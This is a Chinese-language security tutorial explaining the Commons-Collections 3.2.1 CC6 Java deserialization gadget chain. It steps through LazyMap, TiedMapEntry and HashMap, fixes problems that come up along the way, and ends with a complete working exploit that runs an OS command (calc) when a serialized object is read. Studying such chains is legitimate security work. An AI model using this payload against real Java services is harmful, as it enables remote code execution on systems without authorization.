环境搭建
- jdk8u_71
 
- Comoons-Collections 3.2.1
 
前言
先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65 与 Commons-Collections 3.2.1
而我们的 CC6 链,可以不受 jdk 版本制约。
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链
LazyMap链
1
2
3
4
5
6
7
8
9
  | 
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer  = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,invokerTransformer);
//decoratemap.get(Runtime.class);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(decoratemap,runtime);
  | 
 
成功弹计算器
TiedMapEntry.getValue触发get
然后找调用了get方法的类
链子的下一步是TiedMapEntry的getValue调用了LazyMap的get()方法

看构造方法是public,这里map->LazyMap,value->Runtime.class

这里可以不需要通过反射来获取方法
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
  | 
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
//        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
//        method.setAccessible(true);
//        method.invoke(decoratemap,runtime);
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,123);
tiedMapEntry.getValue();
  | 
 
成功弹了
TiedMapEntry.hashCode触发getValue
因为getValue的方法相当常见,寻找同名类的其他调用getValue的方法

找到还是TiedMapEntry类的hashCode方法,这里调用了getValue
之前说cc6=cc1+URLDNS,而hashCode刚好是URLDNS链的入口
1
  | 
tiedMapEntry.hashCode();
  | 
 
运行后成功弹计算器
HashMap.hash触发hashCode
后面的链子就是HashMap的hash

HashMap.put触发hash
HashMap的put
\
为什么readObject都没有put,这里用put?因为 在 Java 的反序列化过程中,HashMap 会自动调用 put 方法来恢复数据结构  ,而且hash(key)是从put(key,value)传进来的
所以put->hash hash->hashCode是常见的HashMap的链子
1
2
  | 
HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");
  | 
 
这样可以弹
exp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  | 
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        HashMap<Object,Object> hashmap = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(hashmap,chainedTransformer);
        //        decoratemap.get(Runtime.class);
        //        Class<LazyMap> lazyMapClass = LazyMap.class;
        //        Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
        //        method.setAccessible(true);
        //        method.invoke(decoratemap,runtime);
        //因为有ConstantTransformer在,所以key不一定要Runtime.class
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
//        tiedMapEntry.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");
        serialize(map);
        unserialize("ser.bin");
  | 
 
问题一
但是注释掉反序列化代码,序列化的时候也会弹出计算器
原因

序列化的时候put就会进入hash从而走一遍链子触发弹计算器
解决
先将假的LazyMap放进去,put完后再通过反射修改属性值将正确的LazyMap放到factory
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
  | 
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
//tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);
  | 
 
问题二
序列化不会弹计算器
但反序列化也不会弹计算器
原因
调试时发现


key不等于false,不会进入链子
解决
通过remove将传入的"abc"去掉
最终exp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  | 
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"abc");
//        tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
lazymap.remove("abc");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);
unserialize("ser.bin");
  | 
 
问题三
在序列化前打断点,调试的时候会弹出计算器

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。
解决

在 IDEA 的偏好设置当中如图修改即可。

总结
流程图

链子
1
2
3
4
5
6
7
8
9
  | 
ObjectInputStream.readObject
  HashMap.readObject
    HashMap.put
    HashMap.hash
      TiedMapEntry.hashCode
      TiedMapEntry.getValue
        LazyMap.get
          ChainedTransformer.transformer
            InvokerTransformer.transformer
  |